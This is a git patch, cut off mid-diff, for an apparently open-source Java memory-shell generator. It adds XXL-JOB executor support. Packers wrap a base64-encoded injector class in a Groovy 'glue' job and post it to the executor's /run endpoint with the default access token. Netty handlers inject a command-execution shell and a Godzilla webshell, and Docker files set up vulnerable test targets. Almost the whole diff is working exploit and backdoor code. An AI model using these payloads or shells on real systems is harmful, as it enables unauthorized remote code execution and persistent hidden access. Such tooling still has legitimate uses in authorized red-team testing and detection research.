From f9eb9dafa470f57386a3a0d6ceb39bf63e7758e9 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 22 Jan 2025 18:36:19 +0800 Subject: [PATCH] feat: support xxl-job executor NettyHandler (#30) Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else. --- .github/workflows/ci.yaml | 2 +- README.md | 12 +- .../javaweb/boot/BootApplication.java | 1 + .../javaweb/memshell/XxlJobShell.java | 30 ++ .../memshell/config/GenerateResult.java | 4 + .../javaweb/memshell/config/Server.java | 5 + .../javaweb/memshell/packer/Packer.java | 4 + .../memshell/packer/XxlJob230Packer.java | 47 +++ .../javaweb/memshell/packer/XxlJobPacker.java | 47 +++ .../resources/XXL-Job-DefineClass-230.java | 30 ++ .../main/resources/XXL-Job-DefineClass.java | 42 +++ integration-test/build.gradle | 2 + .../xxl-job/docker-compose-220.yaml | 17 ++ .../xxl-job/docker-compose-230.yaml | 17 ++ .../xxl-job/docker-compose-250.yaml | 17 ++ .../integration/ShellAssertionTool.java | 8 +- .../reajason/javaweb/integration/VulTool.java | 27 +- .../xxljob/XxlJob220ContainerTest.java | 67 +++++ .../xxljob/XxlJob230ContainerTest.java | 67 +++++ .../command/CommandNettyHandler.java | 9 +- .../godzilla/GodzillaNettyHandler.java | 21 +- .../SpringWebFluxNettyHandlerInjector.java | 37 +-- .../injector/XxlJobNettyHandlerInjector.java | 172 +++++++++++ .../com/xxl/job/core/biz/ExecutorBiz.java | 8 + .../job/core/biz/impl/ExecutorBizImpl.java | 10 + .../com/xxl/job/core/server/EmbedServer.java | 35 +++ vul/build.gradle | 5 + vul/dockerfile/xxl-job/202/admin/Dockerfile | 24 ++ .../xxl-job/202/admin/docker-entrypoint.sh | 9 + .../xxl-job/202/executor/Dockerfile | 23 ++ .../xxl-job/202/executor/docker-entrypoint.sh | 7 + vul/dockerfile/xxl-job/220/admin/Dockerfile | 24 ++ .../xxl-job/220/admin/docker-entrypoint.sh | 9 + .../xxl-job/220/executor/Dockerfile | 23 ++ .../xxl-job/220/executor/docker-entrypoint.sh | 7 + vul/dockerfile/xxl-job/230/admin/Dockerfile | 25 ++ .../xxl-job/230/admin/docker-entrypoint.sh | 9 + .../xxl-job/230/executor/Dockerfile | 25 ++ .../xxl-job/230/executor/docker-entrypoint.sh | 7 + vul/dockerfile/xxl-job/250/admin/Dockerfile | 25 ++ .../xxl-job/250/admin/docker-entrypoint.sh | 9 + .../xxl-job/250/executor/Dockerfile | 25 ++ .../xxl-job/250/executor/docker-entrypoint.sh | 7 + vul/vul-webapp/src/main/java/EmptyFilter.java | 23 ++ vul/vul-webapp/src/main/java/TestServlet.java | 273 +----------------- web/bun.lockb | Bin 164700 -> 164668 bytes web/package.json | 8 +- web/src/components/main-config-card.tsx | 10 + web/src/components/package-config-card.tsx | 8 +- web/src/components/shell-result.tsx | 41 ++- web/src/i18n/translations.ts | 13 +- 51 files changed, 1042 insertions(+), 335 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java create mode 100644 generator/src/main/resources/XXL-Job-DefineClass-230.java create mode 100644 generator/src/main/resources/XXL-Job-DefineClass.java create mode 100644 integration-test/docker-compose/xxl-job/docker-compose-220.yaml create mode 100644 integration-test/docker-compose/xxl-job/docker-compose-230.yaml create mode 100644 integration-test/docker-compose/xxl-job/docker-compose-250.yaml create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java create mode 100644 memshell-java8/src/main/java/com/xxl/job/core/biz/ExecutorBiz.java create mode 100644 memshell-java8/src/main/java/com/xxl/job/core/biz/impl/ExecutorBizImpl.java create mode 100644 memshell-java8/src/main/java/com/xxl/job/core/server/EmbedServer.java create mode 100644 vul/build.gradle create mode 100644 vul/dockerfile/xxl-job/202/admin/Dockerfile create mode 100755 vul/dockerfile/xxl-job/202/admin/docker-entrypoint.sh create mode 100644 vul/dockerfile/xxl-job/202/executor/Dockerfile create mode 100755 vul/dockerfile/xxl-job/202/executor/docker-entrypoint.sh create mode 100644 vul/dockerfile/xxl-job/220/admin/Dockerfile create mode 100755 vul/dockerfile/xxl-job/220/admin/docker-entrypoint.sh create mode 100644 vul/dockerfile/xxl-job/220/executor/Dockerfile create mode 100755 vul/dockerfile/xxl-job/220/executor/docker-entrypoint.sh create mode 100644 vul/dockerfile/xxl-job/230/admin/Dockerfile create mode 100755 vul/dockerfile/xxl-job/230/admin/docker-entrypoint.sh create mode 100644 vul/dockerfile/xxl-job/230/executor/Dockerfile create mode 100755 vul/dockerfile/xxl-job/230/executor/docker-entrypoint.sh create mode 100644 vul/dockerfile/xxl-job/250/admin/Dockerfile create mode 100755 vul/dockerfile/xxl-job/250/admin/docker-entrypoint.sh create mode 100644 vul/dockerfile/xxl-job/250/executor/Dockerfile create mode 100755 vul/dockerfile/xxl-job/250/executor/docker-entrypoint.sh create mode 100644 vul/vul-webapp/src/main/java/EmptyFilter.java diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index c8de4afd..11a4f06f 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -31,7 +31,7 @@ jobs: strategy: fail-fast: false matrix: - middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux" ] + middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux", xxljob ] runs-on: ubuntu-latest name: ${{ matrix.middleware }} needs: [ unit-test ] diff --git a/README.md b/README.md index be03a2c3..958ba3b0 100644 --- a/README.md +++ b/README.md @@ -60,12 +60,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh | FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent | | | | -| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty | -|---------------------|--------------------------|-----------------|-------| -| Servlet | Interceptor | WebFilter | x | -| Filter | ControllerHandler | HandlerMethod | | -| Listener | FrameworkServlet - Agent | HandlerFunction | | -| FilterChain - Agent | | NettyHandler | | +| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB | +|---------------------|--------------------------|-----------------|--------------| +| Servlet | Interceptor | WebFilter | NettyHandler | +| Filter | ControllerHandler | HandlerMethod | | +| Listener | FrameworkServlet - Agent | HandlerFunction | | +| FilterChain - Agent | | NettyHandler | | | JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow | |----------------------|----------------------------|------------------------|------------------------| diff --git a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java index c4869f7e..5491ae96 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java @@ -10,6 +10,7 @@ public class BootApplication { public static void main(String[] args) { + SpringApplication.run(BootApplication.class, args); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java new file mode 100644 index 00000000..678d9b04 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/XxlJobShell.java @@ -0,0 +1,30 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler; +import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJobShell extends AbstractShell { + public static final String NETTY_HANDLER = "NettyHandler"; + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java index 8bfb0054..e95adf9e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java @@ -1,7 +1,9 @@ package com.reajason.javaweb.memshell.config; +import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; +import lombok.NoArgsConstructor; import org.apache.commons.codec.binary.Base64; /** @@ -9,6 +11,8 @@ * @since 2024/11/24 */ @Data +@NoArgsConstructor +@AllArgsConstructor @Builder(builderClassName = "GenerateResultBuilder") public class GenerateResult { private String shellClassName; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index eb9a3554..2d5872f3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -81,6 +81,11 @@ public enum Server { * 中创中间件 */ InforSuite(new InforSuiteShell()), + + /** + * XXL-JOB + */ + XXLJOB(new XxlJobShell()) ; private final AbstractShell shell; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java index 720cdf0d..fe3cffa7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java @@ -87,6 +87,10 @@ static enum INSTANCE { AgentJar(new AgentJarPacker()), + + XxlJob(new XxlJobPacker()), + + XxlJob230(new XxlJob230Packer()), ; private final Packer packer; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java new file mode 100644 index 00000000..067975a4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJob230Packer.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.memshell.packer; + +import com.alibaba.fastjson2.JSONObject; +import com.alibaba.fastjson2.JSONWriter; +import com.reajason.javaweb.memshell.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJob230Packer implements Packer { + String template = ""; + + public XxlJob230Packer() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public String pack(GenerateResult generateResult) { + String source = template + .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) + .replace("{{className}}", generateResult.getInjectorClassName()); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("jobId", 1); + jsonObject.put("executorHandler", "demoJobHandler"); + jsonObject.put("executorParams", "demoJobHandler"); + jsonObject.put("executorBlockStrategy", "COVER_EARLY"); + jsonObject.put("executorTimeout", 0); + jsonObject.put("logId", 1); + jsonObject.put("logDateTime", System.currentTimeMillis()); + jsonObject.put("glueType", "GLUE_GROOVY"); + jsonObject.put("glueSource", source); + jsonObject.put("glueUpdatetime", System.currentTimeMillis()); + jsonObject.put("broadcastIndex", 0); + jsonObject.put("broadcastTotal", 0); + return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java new file mode 100644 index 00000000..2f13853e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java @@ -0,0 +1,47 @@ +package com.reajason.javaweb.memshell.packer; + +import com.alibaba.fastjson2.JSONObject; +import com.alibaba.fastjson2.JSONWriter; +import com.reajason.javaweb.memshell.config.GenerateResult; +import org.apache.commons.io.IOUtils; + +import java.io.IOException; +import java.nio.charset.Charset; +import java.util.Objects; + +/** + * @author ReaJason + * @since 2025/1/21 + */ +public class XxlJobPacker implements Packer { + String template = ""; + + public XxlJobPacker() { + try { + template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset()); + } catch (IOException ignored) { + + } + } + + @Override + public String pack(GenerateResult generateResult) { + String source = template + .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) + .replace("{{className}}", generateResult.getInjectorClassName()); + JSONObject jsonObject = new JSONObject(); + jsonObject.put("jobId", 1); + jsonObject.put("executorHandler", "demoJobHandler"); + jsonObject.put("executorParams", "demoJobHandler"); + jsonObject.put("executorBlockStrategy", "COVER_EARLY"); + jsonObject.put("executorTimeout", 0); + jsonObject.put("logId", 1); + jsonObject.put("logDateTime", System.currentTimeMillis()); + jsonObject.put("glueType", "GLUE_GROOVY"); + jsonObject.put("glueSource", source); + jsonObject.put("glueUpdatetime", System.currentTimeMillis()); + jsonObject.put("broadcastIndex", 0); + jsonObject.put("broadcastTotal", 0); + return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat); + } +} \ No newline at end of file diff --git a/generator/src/main/resources/XXL-Job-DefineClass-230.java b/generator/src/main/resources/XXL-Job-DefineClass-230.java new file mode 100644 index 00000000..3d3294d9 --- /dev/null +++ b/generator/src/main/resources/XXL-Job-DefineClass-230.java @@ -0,0 +1,30 @@ +import com.xxl.job.core.handler.IJobHandler; + +import java.util.Base64; + +public class DemoGlueJobHandler extends IJobHandler { + + public static class Definder extends ClassLoader { + public Definder() { + super(Thread.currentThread().getContextClassLoader()); + } + + public Class defineClass(byte[] bytes) { + return defineClass(null, bytes, 0, bytes.length); + } + } + + public void execute() throws Exception { + String base64Str = "{{base64Str}}"; + String className = "{{className}}"; + try { + Class.forName(className); + } catch (ClassNotFoundException e) { + try { + new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance(); + } catch (Throwable ee) { + ee.printStackTrace(); + } + } + } +} diff --git a/generator/src/main/resources/XXL-Job-DefineClass.java b/generator/src/main/resources/XXL-Job-DefineClass.java new file mode 100644 index 00000000..40b8ac22 --- /dev/null +++ b/generator/src/main/resources/XXL-Job-DefineClass.java @@ -0,0 +1,42 @@ +import com.xxl.job.core.biz.model.ReturnT; +import com.xxl.job.core.handler.IJobHandler; + +public class DemoGlueJobHandler extends IJobHandler { + + public static class Definder extends ClassLoader { + public Definder() { + super(Thread.currentThread().getContextClassLoader()); + } + + public Class defineClass(byte[] bytes) { + return defineClass(null, bytes, 0, bytes.length); + } + } + + public ReturnT execute(String param) throws Exception { + String base64Str = "{{base64Str}}"; + String className = "{{className}}"; + try { + Class.forName(className); + } catch (ClassNotFoundException e) { + try { + new Definder().defineClass(decodeBase64(base64Str)).newInstance(); + } catch (Throwable ee) { + ee.printStackTrace(); + } + } + return ReturnT.SUCCESS; + } + + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } +} diff --git a/integration-test/build.gradle b/integration-test/build.gradle index 0fa27309..e88732ef 100644 --- a/integration-test/build.gradle +++ b/integration-test/build.gradle @@ -24,6 +24,7 @@ dependencies { testImplementation 'org.hamcrest:hamcrest:3.0' testImplementation 'com.squareup.okhttp3:okhttp:4.12.0' testImplementation 'org.slf4j:slf4j-simple:2.0.16' + testImplementation 'com.alibaba.fastjson2:fastjson2:2.0.53' testImplementation 'net.bytebuddy:byte-buddy:1.15.1' testImplementation 'org.testcontainers:testcontainers:1.20.4' testImplementation 'org.testcontainers:junit-jupiter:1.20.4' @@ -52,6 +53,7 @@ tasks.withType(Test).configureEach { idea { module { excludeDirs -= file('build') + excludeDirs += file('src/main') } } diff --git a/integration-test/docker-compose/xxl-job/docker-compose-220.yaml b/integration-test/docker-compose/xxl-job/docker-compose-220.yaml new file mode 100644 index 00000000..aef6f385 --- /dev/null +++ b/integration-test/docker-compose/xxl-job/docker-compose-220.yaml @@ -0,0 +1,17 @@ +services: + admin: + image: reajason/xxl-job:2.2.0-admin + depends_on: + - db + ports: + - "8080:8080" + executor: + image: reajason/xxl-job:2.2.0-executor + depends_on: + - admin + ports: + - "9999:9999" + db: + image: mysql:8 + environment: + - MYSQL_ROOT_PASSWORD=root \ No newline at end of file diff --git a/integration-test/docker-compose/xxl-job/docker-compose-230.yaml b/integration-test/docker-compose/xxl-job/docker-compose-230.yaml new file mode 100644 index 00000000..32f314c6 --- /dev/null +++ b/integration-test/docker-compose/xxl-job/docker-compose-230.yaml @@ -0,0 +1,17 @@ +services: + admin: + image: reajason/xxl-job:2.3.0-admin + depends_on: + - db + ports: + - "8080:8080" + executor: + image: reajason/xxl-job:2.3.0-executor + depends_on: + - admin + ports: + - "9999:9999" + db: + image: mysql:8 + environment: + - MYSQL_ROOT_PASSWORD=root \ No newline at end of file diff --git a/integration-test/docker-compose/xxl-job/docker-compose-250.yaml b/integration-test/docker-compose/xxl-job/docker-compose-250.yaml new file mode 100644 index 00000000..88252ff7 --- /dev/null +++ b/integration-test/docker-compose/xxl-job/docker-compose-250.yaml @@ -0,0 +1,17 @@ +services: + admin: + image: reajason/xxl-job:2.5.0-admin + depends_on: + - db + ports: + - "8080:8080" + executor: + image: reajason/xxl-job:2.5.0-executor + depends_on: + - admin + ports: + - "9999:9999" + db: + image: mysql:8 + environment: + - MYSQL_ROOT_PASSWORD=root \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 79d48d1a..06ba5daf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.SpringWebFluxShell; +import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.JarPacker; import com.reajason.javaweb.memshell.packer.Packer; @@ -46,7 +46,7 @@ public static void testShellInjectAssertOk(String url, Server server, String she shellUrl = url + urlPattern; } - GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer); + GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer); String content = null; if (packer.getPacker() instanceof JarPacker) { @@ -81,7 +81,7 @@ public static void testShellInjectAssertOk(String url, Server server, String she } } - public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); @@ -143,6 +143,8 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel case Velocity -> VulTool.postData(url + "/velocity", content); case Deserialize -> VulTool.postData(url + "/java_deserialize", content); case Base64 -> VulTool.postData(url + "/b64", content); + case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); + case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content); } } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index 36083ff6..e8b69a8a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -5,6 +5,10 @@ import okhttp3.*; import org.junit.jupiter.api.Assertions; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + /** * @author ReaJason * @since 2024/11/30 @@ -36,7 +40,7 @@ public static void uploadJspFileToServer(String uploadUrl, String filename, Stri .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { System.out.println(response.body().string()); - Assertions.assertEquals(200, response.code()); + assertEquals(200, response.code()); } } @@ -54,4 +58,25 @@ public static void postData(String uploadUrl, String data) { Assertions.assertNotEquals(404, response.code()); } } + + @SneakyThrows + public static void xxlJobExecutor(String url, String data) { + OkHttpClient client = new OkHttpClient(); + log.info(data); + RequestBody body = RequestBody.create(data, MediaType.parse("application/json")); + Request request = new Request.Builder() + .url(url) + .post(body) + .addHeader("Connection", "close") + .addHeader("XXL-JOB-ACCESS-TOKEN", "default_token") + .addHeader("Content-Type", "application/json") + .build(); + try (Response response = client.newCall(request).execute()) { + assertEquals(200, response.code()); + Thread.sleep(1000); // wait for job execute + log.info(response.body().string()); + } catch (IOException e) { + e.printStackTrace(); + } + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java new file mode 100644 index 00000000..a92b726b --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.xxljob; + +import com.reajason.javaweb.memshell.XxlJobShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +@Testcontainers +@Slf4j +public class XxlJob220ContainerTest { + + public static final String imageName = "xxljob/xxljob220"; + + @Container + public static final DockerComposeContainer compose = + new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-220.yaml")) + .withExposedService("executor", 9999); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob), + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob) + ); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName("executor").get().getLogs(); + log.info("container stopped, logs is : {}", logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); + } + + public static String getUrl() { + String host = compose.getServiceHost("executor", 9999); + int port = compose.getServicePort("executor", 9999); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java new file mode 100644 index 00000000..321f4f5f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java @@ -0,0 +1,67 @@ +package com.reajason.javaweb.integration.xxljob; + +import com.reajason.javaweb.memshell.XxlJobShell; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.DockerComposeContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.io.File; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2025/1/22 + */ +@Testcontainers +@Slf4j +public class XxlJob230ContainerTest { + + public static final String imageName = "xxljob/xxljob230"; + + @Container + public static final DockerComposeContainer compose = + new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-230.yaml")) + .withExposedService("executor", 9999); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob230), + arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob230) + ); + } + + @AfterAll + static void tearDown() { + String logs = compose.getContainerByServiceName("executor").get().getLogs(); + log.info("container stopped, logs is : {}", logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer); + } + + public static String getUrl() { + String host = compose.getServiceHost("executor", 9999); + int port = compose.getServicePort("executor", 9999); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandNettyHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandNettyHandler.java index 3499b476..ffbcf0b5 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandNettyHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandNettyHandler.java @@ -22,8 +22,8 @@ public class CommandNettyHandler extends ChannelDuplexHandler { @Override @SuppressWarnings("all") public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - if (msg instanceof DefaultHttpRequest) { - DefaultHttpRequest request = (DefaultHttpRequest) msg; + if (msg instanceof HttpRequest) { + HttpRequest request = (HttpRequest) msg; HttpHeaders headers = request.headers(); String uri = request.uri(); String cmd = getParameter(uri, paramName); @@ -44,12 +44,17 @@ public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception } catch (Exception ignored) { } send(ctx, result.toString()); + } else { + ctx.fireChannelRead(msg); } } public String getParameter(String requestUrl, String paramName) throws Exception { URI uri = new URI(requestUrl); String query = uri.getQuery(); + if (query == null) { + return null; + } String[] kvs = query.split("&"); for (String kv : kvs) { String k = null; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaNettyHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaNettyHandler.java index 49fd33e9..cd658167 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaNettyHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaNettyHandler.java @@ -18,6 +18,9 @@ import java.net.URLDecoder; import java.nio.charset.StandardCharsets; +/** + * @author ReaJason + */ @ChannelHandler.Sharable public class GodzillaNettyHandler extends ChannelDuplexHandler { public static String key; @@ -25,15 +28,15 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler { public static String md5; public static String headerName; public static String headerValue; - private StringBuilder requestBody = new StringBuilder(); - private DefaultHttpRequest request; + private final StringBuilder requestBody = new StringBuilder(); + private HttpRequest request; private static Class payload; - private static Class defClass(byte[] classbytes) throws Exception { + private static Class defineClass(byte[] bytes) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); method.setAccessible(true); - return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); + return (Class) method.invoke(urlClassLoader, bytes, 0, bytes.length); } public byte[] x(byte[] s, boolean m) { @@ -48,11 +51,11 @@ public byte[] x(byte[] s, boolean m) { @Override public void 